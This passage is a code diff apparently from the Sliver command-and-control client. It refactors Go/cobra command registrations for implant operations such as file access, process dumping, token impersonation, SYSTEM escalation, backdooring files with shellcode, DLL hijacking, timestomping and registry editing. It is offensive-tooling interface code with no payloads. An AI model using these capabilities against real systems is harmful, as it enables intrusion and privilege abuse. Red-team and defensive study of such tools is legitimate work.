func(cmd *cobra.Command, args []string) { - extensions.ExtensionsInstallCmd(cmd, con, args) - }, - } - extensionCmd.AddCommand(extensionInstallCmd) - carapace.Gen(extensionInstallCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to the extension .tar.gz or directory")) - - extensionRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove an installed extension", - Args: cobra.ExactArgs(1), - Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.RmStr}), - Run: func(cmd *cobra.Command, args []string) { - extensions.ExtensionsRemoveCmd(cmd, con, args) - }, - } - extensionCmd.AddCommand(extensionRmCmd) - carapace.Gen(extensionRmCmd).PositionalCompletion(extensions.ExtensionsCommandNameCompleter(con).Usage("the command name of the extension to remove")) - - // [ Filesystem ] --------------------------------------------- - - mvCmd := &cobra.Command{ - Use: consts.MvStr, - Short: "Move or rename a file", - Long: help.GetHelpFor([]string{consts.MvStr}), - Args: cobra.ExactArgs(2), - Run: func(cmd *cobra.Command, args []string) { - filesystem.MvCmd(cmd, con, args) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(mvCmd) - Flags("", false, mvCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(mvCmd).PositionalCompletion( - carapace.ActionValues().Usage("path to source file (required)"), - carapace.ActionValues().Usage("path to dest file (required)"), + // [ Core ] + bind(consts.SliverCoreHelpGroup, + reconfig.Commands, + sessions.SliverCommands, + kill.Commands, + tasks.Commands, + pivots.Commands, + history.Commands, + extensions.Commands, ) - cpCmd := &cobra.Command{ - Use: consts.CpStr, - Short: "Copy a file", - Long: help.GetHelpFor([]string{consts.CpStr}), - Args: cobra.ExactArgs(2), - Run: func(cmd *cobra.Command, args []string) { - filesystem.CpCmd(cmd, con, args) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(cpCmd) - Flags("", false, cpCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(cpCmd).PositionalCompletion( - carapace.ActionValues().Usage("path to source file (required)"), - carapace.ActionValues().Usage("path to dest file (required)"), + // [ Info ] + bind(consts.InfoHelpGroup, + info.Commands, + info.SliverCommands, + screenshot.Commands, + environment.Commands, + registry.Commands, ) - lsCmd := &cobra.Command{ - Use: consts.LsStr, - Short: "List current directory", - Long: help.GetHelpFor([]string{consts.LsStr}), - Args: cobra.RangeArgs(0, 1), - Run: func(cmd *cobra.Command, args []string) { - filesystem.LsCmd(cmd, con, args) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(lsCmd) - Flags("", false, lsCmd, func(f *pflag.FlagSet) { - f.BoolP("reverse", "r", false, "reverse sort order") - f.BoolP("modified", "m", false, "sort by modified time") - f.BoolP("size", "s", false, "sort by size") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(lsCmd).PositionalCompletion(carapace.ActionValues().Usage("path to enumerate (optional)")) - - rmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a file or directory", - Long: help.GetHelpFor([]string{consts.RmStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - filesystem.RmCmd(cmd, con, args) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(rmCmd) - Flags("", false, rmCmd, func(f *pflag.FlagSet) { - f.BoolP("recursive", "r", false, "recursively remove files") - f.BoolP("force", "F", false, "ignore safety and forcefully remove files") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(rmCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to remove")) - - mkdirCmd := &cobra.Command{ - Use: consts.MkdirStr, - Short: "Make a directory", - Long: help.GetHelpFor([]string{consts.MkdirStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - filesystem.MkdirCmd(cmd, con, args) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(mkdirCmd) - Flags("", false, mkdirCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(mkdirCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the directory to create")) - - cdCmd := &cobra.Command{ - Use: consts.CdStr, - Short: "Change directory", - Long: help.GetHelpFor([]string{consts.CdStr}), - Args: cobra.RangeArgs(0, 1), - Run: func(cmd *cobra.Command, args []string) { - filesystem.CdCmd(cmd, con, args) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(cdCmd) - Flags("", false, cdCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(cdCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the directory")) - - pwdCmd := &cobra.Command{ - Use: consts.PwdStr, - Short: "Print working directory", - Long: help.GetHelpFor([]string{consts.PwdStr}), - Run: func(cmd *cobra.Command, args []string) { - filesystem.PwdCmd(cmd, con, args) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(pwdCmd) - Flags("", false, pwdCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - catCmd := &cobra.Command{ - Use: consts.CatStr, - Short: "Dump file to stdout", - Long: help.GetHelpFor([]string{consts.CatStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - filesystem.CatCmd(cmd, con, args) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(catCmd) - Flags("", false, catCmd, func(f *pflag.FlagSet) { - f.BoolP("colorize-output", "c", false, "colorize output") - f.BoolP("hex", "x", false, "display as a hex dump") - f.BoolP("loot", "X", false, "save output as loot") - f.StringP("name", "n", "", "name to assign loot (optional)") - f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)") - f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(catCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print")) - - downloadCmd := &cobra.Command{ - Use: consts.DownloadStr, - Short: "Download a file", - Long: help.GetHelpFor([]string{consts.DownloadStr}), - Args: cobra.RangeArgs(1, 2), - Run: func(cmd *cobra.Command, args []string) { - filesystem.DownloadCmd(cmd, con, args) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(downloadCmd) - Flags("", false, downloadCmd, func(f *pflag.FlagSet) { - f.BoolP("loot", "X", false, "save output as loot") - f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting") - f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting") - f.StringP("name", "n", "", "name to assign the download if looting") - f.BoolP("recurse", "r", false, "recursively download all files in a directory") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(downloadCmd).PositionalCompletion( - carapace.ActionValues().Usage("path to the file or directory to download"), - carapace.ActionFiles().Usage("local path where the downloaded file will be saved (optional)"), + // [ Filesystem ] + bind(consts.FilesystemHelpGroup, + filesystem.Commands, ) - uploadCmd := &cobra.Command{ - Use: consts.UploadStr, - Short: "Upload a file", - Long: help.GetHelpFor([]string{consts.UploadStr}), - Args: cobra.RangeArgs(1, 2), - Run: func(cmd *cobra.Command, args []string) { - filesystem.UploadCmd(cmd, con, args) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(uploadCmd) - Flags("", false, uploadCmd, func(f *pflag.FlagSet) { - f.BoolP("ioc", "i", false, "track uploaded file as an ioc") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(uploadCmd).PositionalCompletion( - carapace.ActionFiles().Usage("local path to the file to upload"), - carapace.ActionValues().Usage("path to the file or directory to upload to (optional)"), + // [ Network tools ] + bind(consts.NetworkHelpGroup, + transports.SliverCommands, + tcp.SliverCommands, + pipe.Commands, + network.Commands, + rportfwd.Commands, + portfwd.Commands, + socks.Commands, + wireguard.SliverCommands, ) - memfilesCmd := &cobra.Command{ - Use: consts.MemfilesStr, - Short: "List current memfiles", - Long: help.GetHelpFor([]string{consts.MemfilesStr}), - GroupID: consts.FilesystemHelpGroup, - Run: func(cmd *cobra.Command, args []string) { - filesystem.MemfilesListCmd(cmd, con, args) - }, - } - Flags("", true, memfilesCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - sliver.AddCommand(memfilesCmd) - - memfilesAddCmd := &cobra.Command{ - Use: consts.AddStr, - Short: "Add a memfile", - Long: help.GetHelpFor([]string{consts.MemfilesStr, consts.AddStr}), - Run: func(cmd *cobra.Command, args []string) { - filesystem.MemfilesAddCmd(cmd, con, args) - }, - } - memfilesCmd.AddCommand(memfilesAddCmd) - - memfilesRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a memfile", - Long: help.GetHelpFor([]string{consts.MemfilesStr, consts.RmStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - filesystem.MemfilesRmCmd(cmd, con, args) - }, - } - memfilesCmd.AddCommand(memfilesRmCmd) - - carapace.Gen(memfilesRmCmd).PositionalCompletion(carapace.ActionValues().Usage("memfile file descriptor")) - - // [ Network ] --------------------------------------------- - - ifconfigCmd := &cobra.Command{ - Use: consts.IfconfigStr, - Short: "View network interface configurations", - Long: help.GetHelpFor([]string{consts.IfconfigStr}), - Run: func(cmd *cobra.Command, args []string) { - network.IfconfigCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - sliver.AddCommand(ifconfigCmd) - Flags("", false, ifconfigCmd, func(f *pflag.FlagSet) { - f.BoolP("all", "A", false, "show all network adapters (default only shows IPv4)") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - netstatCmd := &cobra.Command{ - Use: consts.NetstatStr, - Short: "Print network connection information", - Long: help.GetHelpFor([]string{consts.NetstatStr}), - Run: func(cmd *cobra.Command, args []string) { - network.NetstatCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - sliver.AddCommand(netstatCmd) - Flags("", false, netstatCmd, func(f *pflag.FlagSet) { - f.BoolP("tcp", "T", true, "display information about TCP sockets") - f.BoolP("udp", "u", false, "display information about UDP sockets") - f.BoolP("ip4", "4", true, "display information about IPv4 sockets") - f.BoolP("ip6", "6", false, "display information about IPv6 sockets") - f.BoolP("listen", "l", false, "display information about listening sockets") - f.BoolP("numeric", "n", false, "display numeric addresses (disable hostname resolution)") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - // [ Processes ] --------------------------------------------- - - psCmd := &cobra.Command{ - Use: consts.PsStr, - Short: "List remote processes", - Long: help.GetHelpFor([]string{consts.PsStr}), - Run: func(cmd *cobra.Command, args []string) { - processes.PsCmd(cmd, con, args) - }, - GroupID: consts.ProcessHelpGroup, - } - sliver.AddCommand(psCmd) - Flags("", false, psCmd, func(f *pflag.FlagSet) { - f.IntP("pid", "p", -1, "filter based on pid") - f.StringP("exe", "e", "", "filter based on executable name") - f.StringP("owner", "o", "", "filter based on owner") - f.BoolP("print-cmdline", "c", false, "print command line arguments") - f.BoolP("overflow", "O", false, "overflow terminal width (display truncated rows)") - f.IntP("skip-pages", "S", 0, "skip the first n page(s)") - f.BoolP("tree", "T", false, "print process tree") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - procdumpCmd := &cobra.Command{ - Use: consts.ProcdumpStr, - Short: "Dump process memory", - Long: help.GetHelpFor([]string{consts.ProcdumpStr}), - Run: func(cmd *cobra.Command, args []string) { - processes.ProcdumpCmd(cmd, con, args) - }, - GroupID: consts.ProcessHelpGroup, - } - sliver.AddCommand(procdumpCmd) - Flags("", false, procdumpCmd, func(f *pflag.FlagSet) { - f.IntP("pid", "p", -1, "target pid") - f.StringP("name", "n", "", "target process name") - f.StringP("save", "s", "", "save to file (will overwrite if exists)") - f.BoolP("loot", "X", false, "save output as loot") - f.StringP("loot-name", "N", "", "name to assign when adding the memory dump to the loot store (optional)") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - terminateCmd := &cobra.Command{ - Use: consts.TerminateStr, - Short: "Terminate a process on the remote system", - Long: help.GetHelpFor([]string{consts.TerminateStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - processes.TerminateCmd(cmd, con, args) - }, - GroupID: consts.ProcessHelpGroup, - } - sliver.AddCommand(terminateCmd) - Flags("", false, terminateCmd, func(f *pflag.FlagSet) { - f.BoolP("force", "F", false, "disregard safety and kill the PID") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(terminateCmd).PositionalCompletion(carapace.ActionValues().Usage("process ID")) - - // [ Privileges ] --------------------------------------------- - - runAsCmd := &cobra.Command{ - Use: consts.RunAsStr, - Short: "Run a new process in the context of the designated user (Windows Only)", - Long: help.GetHelpFor([]string{consts.RunAsStr}), - Run: func(cmd *cobra.Command, args []string) { - privilege.RunAsCmd(cmd, con, args) - }, - GroupID: consts.PrivilegesHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - } - sliver.AddCommand(runAsCmd) - Flags("", false, runAsCmd, func(f *pflag.FlagSet) { - f.StringP("username", "u", "", "user to impersonate") - f.StringP("process", "p", "", "process to start") - f.StringP("args", "a", "", "arguments for the process") - f.StringP("domain", "d", "", "domain of the user") - f.StringP("password", "P", "", "password of the user") - f.BoolP("show-window", "s", false, ` - Log on, but use the specified credentials on the network only. The new process uses the same token as the caller, but the system creates a new logon session within LSA, and the process uses the specified credentials as the default credentials.`) - f.BoolP("net-only", "n", false, "use ") - f.Int64P("timeout", "t", 30, "grpc timeout in seconds") - }) - - impersonateCmd := &cobra.Command{ - Use: consts.ImpersonateStr, - Short: "Impersonate a logged in user.", - Long: help.GetHelpFor([]string{consts.ImpersonateStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - privilege.ImpersonateCmd(cmd, con, args) - }, - GroupID: consts.PrivilegesHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - } - sliver.AddCommand(impersonateCmd) - Flags("", false, impersonateCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", 30, "grpc timeout in seconds") - }) - carapace.Gen(impersonateCmd).PositionalCompletion(carapace.ActionValues().Usage("name of the user account to impersonate")) - - revToSelfCmd := &cobra.Command{ - Use: consts.RevToSelfStr, - Short: "Revert to self: lose stolen Windows token", - Long: help.GetHelpFor([]string{consts.RevToSelfStr}), - Run: func(cmd *cobra.Command, args []string) { - privilege.RevToSelfCmd(cmd, con, args) - }, - GroupID: consts.PrivilegesHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - } - sliver.AddCommand(revToSelfCmd) - Flags("", false, revToSelfCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", 30, "grpc timeout in seconds") - }) - - getSystemCmd := &cobra.Command{ - Use: consts.GetSystemStr, - Short: "Spawns a new sliver session as the NT AUTHORITY\\SYSTEM user (Windows Only)", - Long: help.GetHelpFor([]string{consts.GetSystemStr}), - Run: func(cmd *cobra.Command, args []string) { - privilege.GetSystemCmd(cmd, con, args) - }, - GroupID: consts.PrivilegesHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - } - sliver.AddCommand(getSystemCmd) - Flags("", false, getSystemCmd, func(f *pflag.FlagSet) { - f.StringP("process", "p", "spoolsv.exe", "SYSTEM process to inject into") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - makeTokenCmd := &cobra.Command{ - Use: consts.MakeTokenStr, - Short: "Create a new Logon Session with the specified credentials", - Long: help.GetHelpFor([]string{consts.MakeTokenStr}), - GroupID: consts.PrivilegesHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - Run: func(cmd *cobra.Command, args []string) { - privilege.MakeTokenCmd(cmd, con, args) - }, - } - sliver.AddCommand(makeTokenCmd) - Flags("", false, makeTokenCmd, func(f *pflag.FlagSet) { - f.StringP("username", "u", "", "username of the user to impersonate") - f.StringP("password", "p", "", "password of the user to impersonate") - f.StringP("domain", "d", "", "domain of the user to impersonate") - f.StringP("logon-type", "T", "LOGON_NEW_CREDENTIALS", "logon type to use") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - chmodCmd := &cobra.Command{ - Use: consts.ChmodStr, - Short: "Change permissions on a file or directory", - Long: help.GetHelpFor([]string{consts.ChmodStr}), - Args: cobra.ExactArgs(2), - Run: func(cmd *cobra.Command, args []string) { - filesystem.ChmodCmd(cmd, con, args) - }, - GroupID: consts.PrivilegesHelpGroup, - } - sliver.AddCommand(chmodCmd) - Flags("", false, chmodCmd, func(f *pflag.FlagSet) { - f.BoolP("recursive", "r", false, "recursively change permissions on files") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(chmodCmd).PositionalCompletion( - carapace.ActionValues().Usage("path to file to change mod perms"), - carapace.ActionValues().Usage("file permissions in octal (eg. 0644)"), + // [ Execution ] + bind(consts.ExecutionHelpGroup, + shell.Commands, + exec.Commands, + msf.Commands, + backdoor.Commands, + dllhijack.Commands, + cursed.Commands, + wasm.Commands, ) - chownCmd := &cobra.Command{ - Use: consts.ChownStr, - Short: "Change owner on a file or directory", - Long: help.GetHelpFor([]string{consts.ChownStr}), - Args: cobra.ExactArgs(3), - Run: func(cmd *cobra.Command, args []string) { - filesystem.ChownCmd(cmd, con, args) - }, - GroupID: consts.PrivilegesHelpGroup, - } - sliver.AddCommand(chownCmd) - Flags("", false, chownCmd, func(f *pflag.FlagSet) { - f.BoolP("recursive", "r", false, "recursively change permissions on files") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(chownCmd).PositionalCompletion( - carapace.ActionValues().Usage("path to file to change owner for"), - carapace.ActionValues().Usage("user ID"), - carapace.ActionValues().Usage("group ID (required)"), + // [ Privileges ] + bind(consts.PrivilegesHelpGroup, + privilege.Commands, ) - chtimesCmd := &cobra.Command{ - Use: consts.ChtimesStr, - Short: "Change access and modification times on a file (timestomp)", - Long: help.GetHelpFor([]string{consts.ChtimesStr}), - Args: cobra.ExactArgs(3), - Run: func(cmd *cobra.Command, args []string) { - filesystem.ChtimesCmd(cmd, con, args) - }, - GroupID: consts.PrivilegesHelpGroup, - } - sliver.AddCommand(chtimesCmd) - Flags("", false, chtimesCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(chtimesCmd).PositionalCompletion( - carapace.ActionValues().Usage("path to file to change access timestamps"), - carapace.ActionValues().Usage("last accessed time in DateTime format, i.e. 2006-01-02 15:04:05"), - carapace.ActionValues().Usage("last modified time in DateTime format, i.e. 2006-01-02 15:04:05"), + // [ Processes ] + bind(consts.ProcessHelpGroup, + processes.Commands, ) - // [ Screenshot ] --------------------------------------------- - - screenshotCmd := &cobra.Command{ - Use: consts.ScreenshotStr, - Short: "Take a screenshot", - Long: help.GetHelpFor([]string{consts.ScreenshotStr}), - Run: func(cmd *cobra.Command, args []string) { - screenshot.ScreenshotCmd(cmd, con, args) - }, - GroupID: consts.InfoHelpGroup, - } - sliver.AddCommand(screenshotCmd) - Flags("", false, screenshotCmd, func(f *pflag.FlagSet) { - f.StringP("save", "s", "", "save to file (will overwrite if exists)") - f.BoolP("loot", "X", false, "save output as loot") - f.StringP("name", "n", "", "name to assign loot (optional)") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - FlagComps(screenshotCmd, func(comp *carapace.ActionMap) { - (*comp)["save"] = carapace.ActionFiles() - }) - - // [ Backdoor ] --------------------------------------------- - - backdoorCmd := &cobra.Command{ - Use: consts.BackdoorStr, - Short: "Infect a remote file with a sliver shellcode", - Long: help.GetHelpFor([]string{consts.BackdoorStr}), - Args: cobra.ExactArgs(1), - GroupID: consts.ExecutionHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - Run: func(cmd *cobra.Command, args []string) { - backdoor.BackdoorCmd(cmd, con, args) - }, - } - sliver.AddCommand(backdoorCmd) - Flags("", false, backdoorCmd, func(f *pflag.FlagSet) { - f.StringP("profile", "p", "", "profile to use for service binary") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - FlagComps(screenshotCmd, func(comp *carapace.ActionMap) { - (*comp)["profile"] = generate.ProfileNameCompleter(con) - }) - carapace.Gen(backdoorCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the remote file to backdoor")) - - // // [ DLL Hijack ] ----------------------------------------------------------------- - - dllhijackCmd := &cobra.Command{ - Use: consts.DLLHijackStr, - Short: "Plant a DLL for a hijack scenario", - Long: help.GetHelpFor([]string{consts.DLLHijackStr}), - GroupID: consts.ExecutionHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - dllhijack.DllHijackCmd(cmd, con, args) - }, - } - sliver.AddCommand(dllhijackCmd) - Flags("", false, dllhijackCmd, func(f *pflag.FlagSet) { - f.StringP("reference-path", "r", "", "Path to the reference DLL on the remote system") - f.StringP("reference-file", "R", "", "Path to the reference DLL on the local system") - f.StringP("file", "f", "", "Local path to the DLL to plant for the hijack") - f.StringP("profile", "p", "", "Profile name to use as a base DLL") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - FlagComps(dllhijackCmd, func(comp *carapace.ActionMap) { - (*comp)["reference-file"] = carapace.ActionFiles() - (*comp)["file"] = carapace.ActionFiles() - (*comp)["profile"] = generate.ProfileNameCompleter(con) - }) - carapace.Gen(dllhijackCmd).PositionalCompletion(carapace.ActionValues().Usage("Path to upload the DLL to on the remote system")) - - // [ Get Privs ] ----------------------------------------------------------------- - getprivsCmd := &cobra.Command{ - Use: consts.GetPrivsStr, - Short: "Get current privileges (Windows only)", - Long: help.GetHelpFor([]string{consts.GetPrivsStr}), - GroupID: consts.PrivilegesHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - Run: func(cmd *cobra.Command, args []string) { - privilege.GetPrivsCmd(cmd, con, args) - }, - } - sliver.AddCommand(getprivsCmd) - Flags("", false, getprivsCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - // - - // [ Environment ] --------------------------------------------- - - envCmd := &cobra.Command{ - Use: consts.EnvStr, - Short: "List environment variables", - Long: help.GetHelpFor([]string{consts.EnvStr}), - Args: cobra.RangeArgs(0, 1), - Run: func(cmd *cobra.Command, args []string) { - environment.EnvGetCmd(cmd, con, args) - }, - GroupID: consts.InfoHelpGroup, - } - sliver.AddCommand(envCmd) - Flags("", true, envCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(envCmd).PositionalCompletion(carapace.ActionValues().Usage("environment variable to fetch (optional)")) - - envSetCmd := &cobra.Command{ - Use: consts.SetStr, - Short: "Set environment variables", - Long: help.GetHelpFor([]string{consts.EnvStr, consts.SetStr}), - Args: cobra.ExactArgs(2), - Run: func(cmd *cobra.Command, args []string) { - environment.EnvSetCmd(cmd, con, args) - }, - } - envCmd.AddCommand(envSetCmd) - carapace.Gen(envSetCmd).PositionalCompletion( - carapace.ActionValues().Usage("environment variable name"), - carapace.ActionValues().Usage("value to assign"), - ) - - envUnsetCmd := &cobra.Command{ - Use: consts.UnsetStr, - Short: "Clear environment variables", - Long: help.GetHelpFor([]string{consts.EnvStr, consts.UnsetStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - environment.EnvUnsetCmd(cmd, con, args) - }, - } - envCmd.AddCommand(envUnsetCmd) - carapace.Gen(envUnsetCmd).PositionalCompletion(carapace.ActionValues().Usage("environment variable name")) - - // [ Registry ] --------------------------------------------- - - registryCmd := &cobra.Command{ - Use: consts.RegistryStr, - Short: "Windows registry operations", - Long: help.GetHelpFor([]string{consts.RegistryStr}), - GroupID: consts.InfoHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - } - sliver.AddCommand(registryCmd) - Flags("registry", true, registryCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - registryReadCmd := &cobra.Command{ - Use: consts.RegistryReadStr, - Short: "Read values from the Windows registry", - Long: help.GetHelpFor([]string{consts.RegistryReadStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - registry.RegReadCmd(cmd, con, args) - }, - } - registryCmd.AddCommand(registryReadCmd) - Flags("", false, registryReadCmd, func(f *pflag.FlagSet) { - f.StringP("hive", "H", "HKCU", "registry hive") - f.StringP("hostname", "o", "", "remote host to read values from") - }) - carapace.Gen(registryReadCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path")) - - registryWriteCmd := &cobra.Command{ - Use: consts.RegistryWriteStr, - Short: "Write values to the Windows registry", - Long: help.GetHelpFor([]string{consts.RegistryWriteStr}), - Args: cobra.ExactArgs(2), - Run: func(cmd *cobra.Command, args []string) { - registry.RegWriteCmd(cmd, con, args) - }, - } - registryCmd.AddCommand(registryWriteCmd) - Flags("", false, registryWriteCmd, func(f *pflag.FlagSet) { - f.StringP("hive", "H", "HKCU", "registry hive") - f.StringP("hostname", "o", "", "remote host to write values to") - f.StringP("type", "T", "string", "type of the value to write (string, dword, qword, binary). If binary, you must provide a path to a file with --path") - f.StringP("path", "p", "", "path to the binary file to write") - }) - carapace.Gen(registryWriteCmd).PositionalCompletion( - carapace.ActionValues().Usage("registry path"), - carapace.ActionValues().Usage("value to write"), - ) - - registryCreateKeyCmd := &cobra.Command{ - Use: consts.RegistryCreateKeyStr, - Short: "Create a registry key", - Long: help.GetHelpFor([]string{consts.RegistryCreateKeyStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - registry.RegCreateKeyCmd(cmd, con, args) - }, - } - registryCmd.AddCommand(registryCreateKeyCmd) - Flags("", false, registryCreateKeyCmd, func(f *pflag.FlagSet) { - f.StringP("hive", "H", "HKCU", "registry hive") - f.StringP("hostname", "o", "", "remote host to write values to") - }) - carapace.Gen(registryCreateKeyCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path")) - - registryDeleteKeyCmd := &cobra.Command{ - Use: consts.RegistryDeleteKeyStr, - Short: "Remove a registry key", - Long: help.GetHelpFor([]string{consts.RegistryDeleteKeyStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - registry.RegDeleteKeyCmd(cmd, con, args) - }, - } - registryCmd.AddCommand(registryDeleteKeyCmd) - Flags("", false, registryDeleteKeyCmd, func(f *pflag.FlagSet) { - f.StringP("hive", "H", "HKCU", "registry hive") - f.StringP("hostname", "o", "", "remote host to remove value from") - }) - carapace.Gen(registryDeleteKeyCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path")) - - registryListSubCmd := &cobra.Command{ - Use: consts.RegistryListSubStr, - Short: "List the sub keys under a registry key", - Long: help.GetHelpFor([]string{consts.RegistryListSubStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - registry.RegListSubKeysCmd(cmd, con, args) - }, - } - registryCmd.AddCommand(registryListSubCmd) - Flags("", false, registryListSubCmd, func(f *pflag.FlagSet) { - f.StringP("hive", "H", "HKCU", "registry hive") - f.StringP("hostname", "o", "", "remote host to write values to") - }) - carapace.Gen(registryListSubCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path")) - - registryListValuesCmd := &cobra.Command{ - Use: consts.RegistryListValuesStr, - Short: "List the values for a registry key", - Long: help.GetHelpFor([]string{consts.RegistryListValuesStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - registry.RegListValuesCmd(cmd, con, args) - }, - } - registryCmd.AddCommand(registryListValuesCmd) - Flags("", false, registryListValuesCmd, func(f *pflag.FlagSet) { - f.StringP("hive", "H", "HKCU", "registry hive") - f.StringP("hostname", "o", "", "remote host to write values to") - }) - carapace.Gen(registryListValuesCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path")) - - // [ Reverse Port Forwarding ] -------------------------------------------------------------- - - rportfwdCmd := &cobra.Command{ - Use: consts.RportfwdStr, - Short: "reverse port forwardings", - Long: help.GetHelpFor([]string{consts.RportfwdStr}), - Run: func(cmd *cobra.Command, args []string) { - rportfwd.RportFwdListenersCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - sliver.AddCommand(rportfwdCmd) - Flags("", true, rportfwdCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - rportfwdAddCmd := &cobra.Command{ - Use: consts.AddStr, - Short: "Add and start reverse port forwarding", - Long: help.GetHelpFor([]string{consts.RportfwdStr}), - Run: func(cmd *cobra.Command, args []string) { - rportfwd.StartRportFwdListenerCmd(cmd, con, args) - }, - } - rportfwdCmd.AddCommand(rportfwdAddCmd) - Flags("", false, rportfwdAddCmd, func(f *pflag.FlagSet) { - f.StringP("remote", "r", "", "remote address : connection is forwarded to") - f.StringP("bind", "b", "", "bind address : for implants to listen on") - }) - FlagComps(rportfwdAddCmd, func(comp *carapace.ActionMap) { - (*comp)["remote"] = completers.ClientInterfacesCompleter() - }) - - rportfwdRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Stop and remove reverse port forwarding", - Long: 